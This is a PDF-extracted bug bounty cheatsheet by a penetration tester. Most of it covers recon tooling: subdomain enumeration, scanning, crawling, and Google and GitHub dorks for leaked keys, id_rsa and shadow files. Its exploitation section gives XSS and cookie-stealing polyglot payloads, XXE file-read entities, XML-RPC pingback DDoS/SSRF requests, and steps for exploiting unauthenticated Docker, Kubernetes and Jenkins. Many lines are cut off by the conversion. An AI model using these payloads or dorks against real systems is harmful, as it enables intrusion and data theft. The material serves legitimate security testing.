Bug Bounty Cheatsheet

Bug Bounty Web App Subdomain Enumeration  Dec 17,

Cheatsheet 2019

This is a massive WIP and truthfully I was planning on keeping this a private post as I am
really just braindumping my techniques on here not really ordered or structured but I figured
it may be useful to other people.

m0chan Also before I continue these are my main references that have helped me build my own
methodology.
Penetration Tester
[Link] - Main One
  
[Link] - Main One (Awesome Book)
© 2020
[Link]
[Link] - Main One

[Link]
[Link]

[Link]

Enumeration / Recon
Create PDF in your applications with the Pdfcrowd HTML to PDF API PDFCROWD
 m0chan
Penetration Tester

   </img>

Credit too Jason Haddix for ^

© 2020
Initial Stuff

Before we jump into Subdomain Enumeration which is typically the first step for any program
that has a wildcard scope *.domain It’s worth mentioning a few things and different
locations we can get data from.

Also a small tip moving forward, if you are going to get into Bug Bounty I recommend that
you rent yourself a VPS as it will help a lot when carrying out long & CPU intensive tasks. It

Create PDF in your applications with the Pdfcrowd HTML to PDF API PDFCROWD
 will also help you offload heavy tasks and allow you to keep your main workstation for
manual testing and recon etc.

My personal preference is [Link] as I have used them for 4/5 years without a single
issue and it is not a pay-as-you-go service like DigitalOcean.

Referral Code: [Link]

Burp Regex for Scope Control

.*\.domain\.com$
m0chan
Putting this here as I always forget it :)
Penetration Tester

   ** Pull Root Subdomains from [Link]**

© 2020
cat final | rev | cut -d . -f 1-3 | rev | sort -u | tee [Link]

Port Scanning IP Ranges

First tip is to use Basic Shodan, Google Dorks & ASN lookups to

You can then import all the scans into something like this for a

Create PDF in your applications with the Pdfcrowd HTML to PDF API PDFCROWD
 [Link]

Small Tips:

1) Run this on a VPS ([Link] is my go-to)

2) Run inside a screen session with Screen -SmL
3) Pipe the output with | tee

Btw, some people will tell you to use massscan due to the speed

More to follow here….

m0chan
Penetration Tester Sub Domain Enumeration

   Basic Enumeration with Subfinder

© 2020
Make sure all API keys are populated, Shodan pro account is bene

Subfinder -d [Link] -o [Link]

Rapid7 FDNS

Create PDF in your applications with the Pdfcrowd HTML to PDF API PDFCROWD
 [Link]

aptitude install jq pigz

wget [Link]
cat [Link] | pigz -dc | grep ".[Link]" | jq`

Rapid7 FDNS (Part 2)

[Link]
m0chan
wget [Link]
Penetration Tester 2019-11-29-1574985929-fdns_a.[Link] | pigz -dc | grep ".target.

   This is a huge 19GB and contains A Names there are seperate down

© 2020 [Link]

Rapid7 FDNS (Part 3 with DNSGrep)

#[Link]

Not tried this much yet but DNS Grep tool based around Rapid7 So

Create PDF in your applications with the Pdfcrowd HTML to PDF API PDFCROWD
 Assetfinder by Tomnomnom

[Link]

Of course Tomnomnom was going to appear here (alot) he has a lot

go get -u [Link]/tomnomnom/assetfinder
m0chan
assetfinder [Link]
Penetration Tester
You need to set a couple API/Tokens for this too work, similar t
   facebook
Needs FB_APP_ID and FB_APP_SECRET environment variables set (htt
© 2020
virustotal
Needs VT_API_KEY environment variable set ([Link]

findsubdomains
Needs SPYSE_API_TOKEN environment variable set (the free version

Findomain

Create PDF in your applications with the Pdfcrowd HTML to PDF API PDFCROWD
 #[Link]

Awesome little tool that can sometimes find domains amass cant -

** Marked below require API Keys to work

Certspotter
[Link]
Virustotal
Sublist3r
Facebook **
Spyse (CertDB) *
m0chan Bufferover
Threadcrow
Penetration Tester Virustotal with apikey **

   findomain -t [Link]

© 2020

Reverse WHOIS Search

#[Link]

Search Org name above to find all WHOIS Records with this Organi

For Ex. Oath Inc returns 10k subdomains

Create PDF in your applications with the Pdfcrowd HTML to PDF API PDFCROWD
 Take subdomains pipe them through assetfinder or amass again / c

WaybackURLs - Fetch all URL’s that WayBackMachine Knows About a Domain

#[Link]

cat subdomains | waybackurls > urls

m0chan
[Link]
Penetration Tester

   Numerous repos & large dumps from various sources of Scans.

[Link]
© 2020

Assets-From-SPF / Pull Domains from SPF Records

[Link]

$ python assets_from_spf.py --help

Usage: assets_from_spf.py [OPTIONS] DOMAIN

Create PDF in your applications with the Pdfcrowd HTML to PDF API PDFCROWD
 Options:
--asn / --no-asn Enable/Disable ASN enumeration
--help Show this message and exit.

GitHub SubDomain Scrap

[Link]

As we have saw from various bug reports in the past, sometimes d

We can use [Link] to scrape for domains from publi

m0chan
Penetration Tester python3 $Tools/[Link] -d [Link] -t

  
Generate Basic Permutations
© 2020

I have a small bash loop to handle this

#!/bin/bash
for i in $(cat /home/aidan/Tools/[Link]); do echo $i.$1
done;

Create PDF in your applications with the Pdfcrowd HTML to PDF API PDFCROWD
 Reverse DNS Lookups on List of IP’s

#[Link]

Sometimes you may have a IP list of targets instead of domains,

hakluke~$ prips [Link]/24 | hakrevdns

[Link] [Link].
[Link] [Link].
[Link] [Link].
[Link] [Link].
[Link] [Link].
m0chan [Link] [Link].
[Link] [Link].
Penetration Tester [Link] [Link].
[Link] [Link].
   [Link] [Link].
[Link] [Link].
© 2020 [Link] [Link].
[Link] [Link].

AMass Basic Active Scan

You could do with a amass passive scan and not resolve domains w

amass enum -d [Link],[Link]

Create PDF in your applications with the Pdfcrowd HTML to PDF API PDFCROWD
 Certificate Transparency Logs

python3 $BugBounty [Link] [Link]

This script be found in my GitHub repo, it just takes a domain a

Subdomain Brute Force (Subbrute & MassDNS)

m0chan
$Tools/[Link] $Tools/massdns/lists/[Link] [Link] | m
Penetration Tester

   Generate Permutations with AltDNS

© 2020
altdns -i input_domains.txt -o [Link] -w $Tools/a

This may take a while to run but should always be part of your r

Generate Permutations with dnsGen (Overall Best Way)

Create PDF in your applications with the Pdfcrowd HTML to PDF API PDFCROWD
 #[Link]

git clone [Link]

cd dnsgen
pip3 install -r [Link]
python3 [Link] install

cat [Link] | dnsgen - | massdns -r /path/to/[Link] -

Find Resolvable Domains with MassDNS

m0chan
Penetration Tester massdns -r $Tools/massdns/lists/[Link] -t A -o S allsubdo

   sed 's/A.*//' [Link] | sed 's/CN.*//' | sed 's/\..

© 2020
Find HTTP/HTTPS Servers with HTTProbe

cat [Link] | httprobe -c 50 -p 8080,8081,8089 | tee ht

the -p flag adds these ports to the scan, will increase time but

Create PDF in your applications with the Pdfcrowd HTML to PDF API PDFCROWD
 Find HTTP/HTTPS Servers with nMap and Filtering

sudo nmap -sS -p 80,443 -iL [Link] -oA [Link]

import xmltree
def removeHostname():
for host in [Link]('host'):
for elem in [Link]():
if 'name' in [Link] and [Link]['name'] ==
[Link](host)
[Link]('[Link]')
m0chan
Penetration Tester
Pass HTTProbe Results to EyeWitness
  
cp [Link] $Tools
© 2020
$Tools/EyeWitness/[Link] --web -f [Link]

Pass All Subdomains too S3 Scanner

Even if a subdomain does not follow normal bucket naming convent

Therefore run the following

Create PDF in your applications with the Pdfcrowd HTML to PDF API PDFCROWD
 python $Tools/S3Scanner/[Link] -l [Link] -o buck

-d flag will dump all open buckets locally

If you find open buckets you can run the useful bash look to enu

for i in $(cat [Link]); do aws s3 ls s3://$i; done;

This will require basic auth key/secret which you can get for fr

Finding CNames for all Domains

m0chan
Penetration Tester massdns -r massdns/lists/[Link] -t CNAME -o S -w paypal.m

   cat [Link] | grep trafficmanager

cat [Link] | grep azure

© 2020

Subdomain Bruteforcing with [Link]

#[Link]

todo - As there is a few methods to talk about here but the best

dnsrecon -d [Link] -D [Link] -t brt

Create PDF in your applications with the Pdfcrowd HTML to PDF API PDFCROWD
 #Fastest is Probably [Link]
python $Tools/subbrute/[Link] [Link] [Link] -t al

#Final method is using GoBuster which is also v fast

gobuster dns -d [Link] -w [Link]

Subdomain Bruteforcing with Commonspeak Wordlists

#[Link]
m0chan #[Link]

Penetration Tester Common speak from Assetnote has a unique way of generating wordl
one of my favorite wordlists to use for subdomain brute forcing.
   numerous datasets on Google Big query that are constantly being
new information. These datasets are used by common speak to crea
that contain current technologies and terminology.
© 2020
dnsrecon -d [Link] -D [Link] -t brt

#Fastest is Probably [Link]

python $Tools/subbrute/[Link] [Link] [Link] -t co

#Final method is using GoBuster which is also v fast

gobuster dns -d [Link] -w [Link]

Create PDF in your applications with the Pdfcrowd HTML to PDF API PDFCROWD
 Fuzzing Subdomains with WFuzz

wfuzz -c -f re -w /SecLists/Discovery/DNS/subdomains-top1mil-500

ASN Enumeration

I wasn’t sure if I should add this under Subdomain Enumeration but doesn’t really matter.
Here are a few techniques to discover subdomains and ports via companies publicly
available ASN numbers.
m0chan
ASNLookup
Penetration Tester

   #[Link]

© 2020 python [Link] -o <Organization>`

Find Organistations ASN’s

amass intel -org paypal

1449, PAYPAL-CORP - PayPal
17012, PAYPAL - PayPal
26444, PAYDIANT - PayPal

Create PDF in your applications with the Pdfcrowd HTML to PDF API PDFCROWD
 59065, PAYPALCN PayPal Network Information Services (Shanghai) C
206753, PAYPAL-

Find IPv4 Address Space from ASN

I have yet to find a good tool to do this so I will be writing s

[Link]

[Link]
m0chan
Penetration Tester

  
© 2020

Create PDF in your applications with the Pdfcrowd HTML to PDF API PDFCROWD
 m0chan
Penetration Tester

  
© 2020

</img>

Create PDF in your applications with the Pdfcrowd HTML to PDF API PDFCROWD
 Parse CIDR from ASN Lookup too AMass Enum

amass enum -d [Link] -cidr [Link]/21

I have found to have really good results using `amass enum` here

Basic Content Finding

Here I will discuss some basic tactics once you have a nice list of live subdomains

m0chan Basic Crawling

Penetration Tester

   Crawling a website is typically one of the first places to start

The author of Bug Bounty Playbook created a tool to help with th

© 2020
#[Link]

python3 $Tools/crawler/[Link] -d [Link] -l 2

These crawling results can also be combined with the JSearch tec

Commoncrawl One Liner

Create PDF in your applications with the Pdfcrowd HTML to PDF API PDFCROWD
 curl -sL [Link] | grep 'href="/CC' | awk

Wayback Machine Crawling

#[Link]

Sometimes visiting wayback machine and looking up a domain will

We can then use this data to find vulns,

m0chan
Quote from Bug Bounty Playbook
Penetration Tester
"For instance, if you see the path “[Link]/?redirect=someth
   You can do this manually on the site or using the script linked

© 2020 python3 $Tools/waybackMachine/[Link] [Link]

Common Crawl Data

#[Link]

Just like The Wayback Machine Common Crawl also regularly crawls

Create PDF in your applications with the Pdfcrowd HTML to PDF API PDFCROWD
 python3 $Tools/commoncrawl/[Link] -d [Link]

Find Easy Wins with DirSearch

Of course if we have a large amount ot subs we can't just send o

/[Link]
/[Link]
/[Link]
m0chan /api/apidocs
/apidocs
Penetration Tester /api
/api/v2
   /api/v1
/v2
/[Link]
© 2020 /[Link]
/[Link]
/api/apidocs
/swagger
/swagger-ui
/[Link]
/swagger/[Link]
/api/[Link]
/v1.x/[Link]
/swagger/[Link]

Create PDF in your applications with the Pdfcrowd HTML to PDF API PDFCROWD
 /graphql
/graphiql

python3 [Link] -L [Link] -e .* -w paths --simple-rep

Be careful with the -t flag, I am using a pretty beefy VPS for t

dirSearching with [Link]

This is similar to the previous method but we are using a Wordli

m0chan
[Link]
Penetration Tester
This usually dosent take too long but can be depending on the sc
   Tip: Run this on a VPS

© 2020 I have had some nice success with [Link]

python3 [Link] -L [Link] -e .* -w RobotsDisallowed-T

Be careful with the -t flag, I am using a pretty beefy VPS for t

Excessive DirSearching with RAFT

Create PDF in your applications with the Pdfcrowd HTML to PDF API PDFCROWD
 This may take a very long time to run and timeout depending on y

Tip: Run this on a VPS

[Link]

[Link]

I have had some nice success with [Link]

python3 [Link] -L [Link] -e .* -w wordlist --simple-

m0chan Be careful with the -t flag, I am using a pretty beefy VPS for t

Penetration Tester

   Meg - Find Many Paths for Hosts (Similar to DirSearch)

© 2020 #[Link]

meg --verbose paths [Link]

This will create a /out folder with results from each web server

grep -r api
grep -r phpinfo

Use this wordlist

Create PDF in your applications with the Pdfcrowd HTML to PDF API PDFCROWD
 [Link]

etc etc

DirSearching with FFUF (New Method)

#[Link]

Written in Go so very fast

m0chan Directory Fuzzing

Penetration Tester ffuf -c -w /path/to/wordlist -u [Link]

   GET Parameter Fuzzing

ffuf -w /path/to/[Link] -u [Link]

© 2020
POST Data Fuzzing

ffuf -w /path/to/[Link] -X POST -d "username=admin\&passwo

EyeWitness - Source View

Create PDF in your applications with the Pdfcrowd HTML to PDF API PDFCROWD
 Recently while working on big programs I have had some success w

VPS:> cd EyeWitness
VPS:> grep -r Tomcat
VPS:> grep -r IIS6.0

etc etc

When EyeWitness runs it will save the source of the URLs it scre

m0chan
WaybackURLs - Fetch all URL’s that WayBackMachine Knows About a Domain
Penetration Tester

   #[Link]

© 2020 cat subdomains | waybackurls > urls

[Link] Direct URL Access - Really Good

[Link]

Create PDF in your applications with the Pdfcrowd HTML to PDF API PDFCROWD
 GetAllURL’s

Bash alias already created in profile on VPS - getallurls or get

Tomnomnom’s Concurl

#[Link]

m0chan ▶ cat [Link]

[Link]
Penetration Tester [Link]
[Link]
  
▶ cat [Link] | concurl -c 3
out/[Link]/6ad33f150c6a17b4d51bb3a5425036160e18643c https:/
© 2020
out/[Link]/33ce069e645b0cb190ef0205af9200ae53b57e53 https:/
out/[Link]/5657622dd56a6c64da72459132d576a8f89576e2 https:/

▶ head -n 7 out/[Link]/33ce069e645b0cb190ef0205af9200ae53b5
cmd: curl --silent [Link]

Concurrent HTTP Requests because Go is fast as f

Create PDF in your applications with the Pdfcrowd HTML to PDF API PDFCROWD
 Get All Subdomain HTTP Headers & Responses

#Reference: [Link]

Cool little bash loop to handle this, we will loop through all t

Great way to find legacy web servers or quickly check the repons

Stored as [Link] in my repo :)

Todo: I will rewrite this to support Tomnomnoms concurl to carry

m0chan
#!/bin/bash
Penetration Tester mkdir headers
mkdir responsebody
   CURRENT_PATH=$(pwd)
for x in $(cat $1)
© 2020 do
NAME=$(echo $x | awk -F/ '{print $3}')
curl -X GET -H "X-Forwarded-For: [Link]" $x -I > "$CUR
curl -s -X GET -H "X-Forwarded-For: [Link]" -L $x > "$
done

In the next step I will show how we can use the collected data t

Create PDF in your applications with the Pdfcrowd HTML to PDF API PDFCROWD
 Collecting JavaScript Files

#Reference: [Link]

This script will crawl all the responses from the previous scrip

This is a good tactic as sometimes devs will hardcore API keys/t

Stored as [Link] in my repo :)

#!/bin/bash
mkdir scripts
m0chan mkdir scriptsresponse
RED='\033[0;31m'
Penetration Tester NC='\033[0m'
CUR_PATH=$(pwd)
   for x in $(ls "$CUR_PATH/responsebody")
do
© 2020 printf "\n\n${RED}$x${NC}\n\n"
END_POINTS=$(cat "$CUR_PATH/responsebody/$x" | grep -Eoi
for end_point in $END_POINTS
do
len=$(echo $end_point | grep "http" | wc -c)
mkdir "scriptsresponse/$x/"
URL=$end_point
if [ $len == 0 ]
then
URL="[Link]
fi

Create PDF in your applications with the Pdfcrowd HTML to PDF API PDFCROWD
 file=$(basename $end_point)
curl -X GET $URL -L > "scriptsresponse/$x/$file"
echo $URL >> "scripts/$x"
done
done

This method can be a little slow as there is no multithreading i

JavaScript Link Finder

m0chan
#[Link]
Penetration Tester
LinkFinder is one of the best tools for parsing endpoints from J
   We can simple pass a .js file locally and it will parse all link

© 2020 Of course if we combine this with the technique above we can usu

python $Tools/LinkFinder -i [Link] -o cli

JsSearch

#[Link]

Create PDF in your applications with the Pdfcrowd HTML to PDF API PDFCROWD
 JsSearch is another handy JavaScript parser except this tool aim

python3.7 $Tools/jsearch/[Link] -u [Link] -n

This tool is handy as it does not require the files to be stored

Although I recommened you add your own regexes as the default co

Finding Hidden Endpoints from Scraped JS Files

m0chan
Penetration Tester #Reference: [Link]

   #Dependancy: [Link]

Similar to the previous scripts this bash script will require th

© 2020
What we do here is parse the relative paths present in the scrap

Providing we have 'relative-url-extractor' installed we can use

Stored in my Repo as [Link]

#!/bin/bash
#looping through the scriptsresponse directory
mkdir endpoints

Create PDF in your applications with the Pdfcrowd HTML to PDF API PDFCROWD
 CUR_DIR=$(pwd)
for domain in $(ls scriptsresponse)
do
#looping through files in each domain
mkdir endpoints/$domain
for file in $(ls scriptsresponse/$domain)
do
ruby ~/relative-url-extractor/[Link] scripts
done
done

m0chan
Penetration Tester Fuzzing URL Parameters

   #[Link]
#[Link]
© 2020
GET Bruteforce

$ go run [Link] -url [Link] -get

$ go run [Link] -url [Link]
$ go run [Link] -url [Link]

POST Bruteforce

Create PDF in your applications with the Pdfcrowd HTML to PDF API PDFCROWD
 $ go run [Link] -url [Link] -post
$ go run [Link] -url [Link] -po
$ go run [Link] -url [Link] -po
$ go run [Link] -url [Link] -po

Port Scanning Subdomains

I won't get into this much as it's fairly straight forward, simp

Small Tips:
m0chan
1) Run this on a VPS ([Link] is my go-to)
Penetration Tester 2) Run inside a screen session with Screen -SmL
3) Pipe the output with | tee
   Btw, some people will tell you to use massscan due to the speed

© 2020

Aquatone

#[Link]

Aquatone allows us to easily screenshot and port scan subdomains

cat [Link] | aquatone -ports 80,443,3000,3001

Create PDF in your applications with the Pdfcrowd HTML to PDF API PDFCROWD
 small: 80, 443
medium: 80, 443, 8000, 8080, 8443 (same as default)
large: 80, 81, 443, 591, 2082, 2087, 2095, 2096, 3000, 8000, 800
xlarge: 80, 81, 300, 443, 591, 593, 832, 981, 1010, 1311, 2082,

Google Dorks

[Link]

site:[Link] inurl:id=
site:[Link] filetype:php
m0chan site:[Link] intitle:upload
Penetration Tester inurl:”.php?id=” intext:”View cart”
inurl:”.php?cid=” intext:”shopping”

   inurl:/[Link]?include=
inurl:”.php?query=”

© 2020
#Open Redirect
inurl:url=https
inurl:url=http
inurl:u=https
inurl:u=http
inurl:redirect?https
inurl:redirect?http
inurl:redirect=https
inurl:redirect=http
inurl:link=http

Create PDF in your applications with the Pdfcrowd HTML to PDF API PDFCROWD
 inurl:link=https
inurl:redirectUrl=http site:[Link]

#Codepad - Online Interpreter/Compiler, Sometimes Hard Coded Cre

site:[Link] "Tesla"

#Scribd - EBooks / Although Sometimes Internal Files

site:[Link] "Tesla"

#NodeJS Source
site:[Link] "Tesla"
site:[Link] "Tesla"

m0chan #Libararies IO
site:[Link] "Tesla"
Penetration Tester
#Coggle - MindMapping Software
   site:[Link] "Tesla"

#Papaly
© 2020
site:[Link] "Tesla"

#Trello - Board Software

site:[Link] "Tesla"

#Prezi - Presentation Software

site:[Link] "Tesla"

#JSDeliver - CDN for NPM & GitHub

site:[Link] "Tesla"

Create PDF in your applications with the Pdfcrowd HTML to PDF API PDFCROWD
 #Codepen - Online Coding Tool
site:[Link] "Tesla"

#Pastebin - Online Txt Sharing

site:[Link] "Tesla"

#Repl - Online Compiler

site:[Link] "Tesla"

#Gitter - Open Source Messaging

site:[Link] "Tesla"

m0chan #BitBucket - Similar to GitHub can Store Source Code

site:[Link] "Tesla"
Penetration Tester
#Atlassian - Useful to find Confluence and Jira
   site:*.[Link] "Tesla"

#Gitlab - Source Code

© 2020
inurl:gitlab "Tesla"

#Find S3 Buckets
site:.[Link] "Tesla"

To simplify this process I copy the above into Sublime and copy

[Link]

We can also find specific content by appending the "ext:pdf or e

Create PDF in your applications with the Pdfcrowd HTML to PDF API PDFCROWD
 Fingerprinting
During our recon phase and the techniques we employed above we gathered a lot of
information about a target from subdomains, CIDR, ASN’s, Endpoints etc but we didn’t really
gather HTTP Headers. I did show a few techniques but they probably fit in here more so I’ve
just duplicated them for simplicity.

Fingerprinting usually consists of using our discovered endpoints and analysing the
headers,version numbers, open/closed ports etc.

m0chan First technique is typically finding the open ports which we could do with nMap but it will take
Penetration Tester a while especially if we are working on a big program perhaps with tens of thousands of IP’s.
If this is the case then it’s probably best to look at Shodan.
  
Shodan Scans the entire internet on a daily basis and provides the data to it’s users (I
© 2020 highly recommend you get a pro account)

Shodan Port Scan w/ CIDR

[Link]

net:CIDR/24,CIDR/24

Example

Create PDF in your applications with the Pdfcrowd HTML to PDF API PDFCROWD
 net:[Link]/24,[Link]/22

You could also search via Organistations Name with

org:Paypal

Of course these techniques will only return assets on your targe

ssl:paypal

MassScan
m0chan
Penetration Tester #[Link]

   MassScan is awesome but truthfully from my experiences it can be

sudo masscan -p<Port Here> <CIDR Range Here> --exclude <Exclude

© 2020 banners -oX <Out File Name>

You can also use the massscan-web-ui from OffSec or grep the res

[Link]

Wappalyzer

Create PDF in your applications with the Pdfcrowd HTML to PDF API PDFCROWD
 #[Link]

One of the best tools for identifying the technologies in use on

WafW00f

#[Link]

m0chan Awesome script to detect if your target is protected behind an X

Penetration Tester There are also a few cool Burp plugins to faciliate this.

   The great thing about Wafw00f is it will try detect which WAF is

© 2020
Finding Sensitive Loot
I wasn’t sure if I should put this under Exploitation but guess it’s own section is fitting, a few
techniques to find sensitive files that may have been pushed to github etc.

Github Dorking

Create PDF in your applications with the Pdfcrowd HTML to PDF API PDFCROWD
 Similar to Shodan dorks etc we can pass dorks ot github to searc

For example

filename:.bash_history [Link]
filename:id_rsa [Link]
filename:token [Link]
filename:apikey [Link]
language:python username [Link]
language:python:username

[Link] is also a good one to search for.

m0chan
Penetration Tester There is a awesome list of dorks located here

   #[Link]

© 2020
Its very common for devs to accidently push

Create PDF in your applications with the Pdfcrowd HTML to PDF API PDFCROWD
 m0chan GitMiner

Penetration Tester
#[Link]
  
$:> python3 [Link] -q 'filename:wp-config extension:ph
© 2020
$:> python3 [Link] --query 'extension:php "root" in:fi

$:> python3 [Link] --query 'filename:shadow path:etc'

$:> python3 [Link] --query 'filename:configuration ext

Full List of Dorks Here

[Link]

Create PDF in your applications with the Pdfcrowd HTML to PDF API PDFCROWD
 Finding Subdomains That Resolve to Internal IP

cat [Link] | while read domain; do if host -t A "$domain" |

Exploitation
This is a hard section to type up as some techniques may fall under other headings :) also I
probably won’t mention XSS & SQLi as they are the basics and lots of resources already
exist.
m0chan
Unauthenticated Elastic Search
Penetration Tester

   “ES is a document-oriented database designed to store, retrieve,

Elastic Search has a HTTP Server running on Port 9200 that can b
© 2020

We can find these servers by scanning for Port 9200 or the Shoda

port:"9200" elastic

Unauthenticated Docker API

Create PDF in your applications with the Pdfcrowd HTML to PDF API PDFCROWD
 Similar to Elastic Search, Docker has some servies that can be e

Shodan Dorks come in Handy here

port:"2375" docker
product:docker

If you find a endpoint you can verifiy that its vulnerable by ma

From here you can connect with the CLI version of Docker

docker -H ip:port ps
m0chan
Penetration Tester
Unauthenticated Kubernetes API

  
First let me say I am no Kubernetes expert but I know it exists
© 2020
Kubernetes exposes an unauthenticated REST API on port 10250

Once again we have 2 options, nMap for this port or shodan

product:"kubernetes"
port:"10250"

Once a Kubernetes service is detected the first thing to do is t

Create PDF in your applications with the Pdfcrowd HTML to PDF API PDFCROWD
 apt-get install node-ws
wscat -c “[Link] Header Value>” –no-c

Its very easy to get RCE from this method :)

Unauthenticated odoo Manager

Shodan Dork

[Link] [Link]:odoo port:8069

m0chan
After finding instances go to /web/database/manager most of the
Penetration Tester
Or simply port scan for 8069
  
© 2020 Unauthenticated Jenkins Instance

Sometimes an application will be running Jenkins which allows Gu

Also if you can install plugins there is a terminal plugin

Try dirsearch for /script or use this script to find live Jenkin

Also worth checking Port 8080 alongside 443,80

Create PDF in your applications with the Pdfcrowd HTML to PDF API PDFCROWD
 I recommened if you are working on a big program with thousands

Also grep for these headers

X-Hudson: 1.395
X-Jenkins: 2.204.2
X-Jenkins-Session: d615ef86
X-You-Are-Authenticated-As: anonymous
X-You-Are-In-Group-Disabled: JENKINS-39402:

m0chan Shodan Dork to Find Open Jenkins Instances

Penetration Tester x-jenkins 200

  
XML External Entity (XXE)
© 2020

#[Link]

XML is essential a language designed to transport data in a stru

XXE is a vuln that occurs when an application parses XML.

Create PDF in your applications with the Pdfcrowd HTML to PDF API PDFCROWD
 Essentially there are something called ENTITYs within XML that r

<?xml version="1.0"?>
<!DOCTYPE note [
<!ENTITY user "m0chan">
<!ENTITY message "m0chanmessage">
]>

In this example the ENTITY user holds the info m0chan which can

Now this is useful as we get something called EXTERNAL ENTITY wh

Examples:
m0chan
<!DOCTYPE foo [ <!ENTITY ext SYSTEM "[Link] >
Penetration Tester <!DOCTYPE foo [ <!ENTITY ext SYSTEM "[Link] > ]>

  
We could also combine this with PHP Object Injection (More on th

© 2020
<!ENTITY xxe SYSTEM 'php://filter/convert.base64-encode/resource

This is the basis, if you want the proper example go and buy the

PHP Object Injection

Create PDF in your applications with the Pdfcrowd HTML to PDF API PDFCROWD
 #[Link]

Server-Side-Request-Forgery

#[Link]
I am not going to explain SSRF here as its fairly straight forwa

m0chan For other payloads check out Payload All The Things

Penetration Tester

   Server-Side-Request-Forgery Pt (PDF Convertors)

© 2020 Sometimes you may run into instances where applications are acce

Server Side JavaScript Execution -> XMLHttpRequest -> SSRF

Also

Server Side JavaScript Execution -> XMLHttpRequest -> Local File

References: [Link]
[Link]

Create PDF in your applications with the Pdfcrowd HTML to PDF API PDFCROWD
 Attacking AWS with SSRF

#[Link]

Amazon AWS has a internal metadata service which can be queired

Reference: [Link]

[Link] - Local EC2 Instance Address to Query

m0chan
Penetration Tester From here it can be very easy to escalate to RCE by gaining read

  
© 2020

GraphQL Injection

#[Link]
More on this soon :)

Create PDF in your applications with the Pdfcrowd HTML to PDF API PDFCROWD
 Server Side Template Injection

#[Link]
More on this soon :)

Cross-Site Web Socket Hijacking (CSWSH)

Websockets are fairly rare but essentially they allow an applica

m0chan
Common apps using WebSockers are Chat applications as they want
Penetration Tester

   CSWSH is similar to CSRF as we use the targets cookie to make th

We can use this website to test for the vuln [Link]

© 2020

To Test for this we do the following

1) Log into Website using WebSockets

2) Open Second Tab
3) Visit Link [Link]
4) Test if we can make connections as the client.

There is a nice PoC on the Bug Bounty Playbook

Create PDF in your applications with the Pdfcrowd HTML to PDF API PDFCROWD
 Cross-Site Scripting (XSS)

#[Link]

#[Link]

1) Start [Link] phantomjs $HOME/.BurpSuite/bapps/[Link]

2) Send Request to Intruder
3) Mark Position
4) Import xss-payload-list from $Tools into xssValidator
m0chan 5) Change Payload Type to Extension Generated
6) Change Payload Process to Invoke-Burp Extension - XSS Validat
Penetration Tester 7) Add Grep-Match rule as per XSS Validator
8) Start.
  
Succesful Payloads so Far
© 2020

<p ondragend=[1].map(prompt) draggable="true">dragMe</p>

<img/src=x onerror=prompt(1)>

I had success recently also by uploading a .html file with pdf m

Payload Below:

Create PDF in your applications with the Pdfcrowd HTML to PDF API PDFCROWD
 %PDF-1.4
%äüöß
2 0 obj
<</Length 3 0 R/Filter/FlateDecode>>
stream
xœ=ŽË
1E÷ùŠ»v“¶é´0è~ àø
R
R<h1>This is NOT a PDF!</h1> <img src=x onerror=alert(document.c

[Link]
m0chan
Penetration Tester

   List all Methods

<methodCall>
© 2020 <methodName>[Link]</methodName>
<params></params>
</methodCall>

DDoS

<methodCall>
<methodName>[Link]</methodName>
<params><param>

Create PDF in your applications with the Pdfcrowd HTML to PDF API PDFCROWD
 <value><string>[Link] SERVER >:<port></string></value>
</param><param><value><string>[Link] VALID BLOG FROM THE S
</value></param></params>
</methodCall>

SSRF

<methodCall>
<methodName>[Link]</methodName>
<params><param>
<value><string>[Link] SERVER >:<port></string></value>
</param><param><value><string>[Link] VALID BLOG FROM THE S
m0chan </value></param></params>
</methodCall>
Penetration Tester

   XXE File Upload SVG

© 2020
#[Link]

<?xml version="1.0" encoding="UTF-8"?>

<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "[Link] ]>
<svg>&xxe;</svg>

<?xml version="1.0" encdoing="UTF-8" standalone="yes"?><!DOCTYPE

Create PDF in your applications with the Pdfcrowd HTML to PDF API PDFCROWD
 SQL Injection

1)Error generation with untrusted input or special characters.

2)Finding total number of columns with order by or group by or h
3)Finding vulnerable columns with union operator.
4)Extracting basic information like database(), version(), user(
5)Extracting full table and column names with group_concat() and
6)Checking file privileges with file_priv.
7)Accessing system files with load_file(). and advance exploitat
WAF evasion if any.

m0chan
Penetration Tester JWT Exploiting

  
#[Link]
© 2020
Full details above.

1) Access JWT Debugger too base64 decode and ensure that nothing
2) Try chang esome values and obtain IDOR, like `id` or `isA
3) Modigy ALG attribute, set HS256 to null

4) JWT Crack - [Link] - S

Create PDF in your applications with the Pdfcrowd HTML to PDF API PDFCROWD
 m0chan
Penetration Tester

  
© 2020

Create PDF in your applications with the Pdfcrowd HTML to PDF API PDFCROWD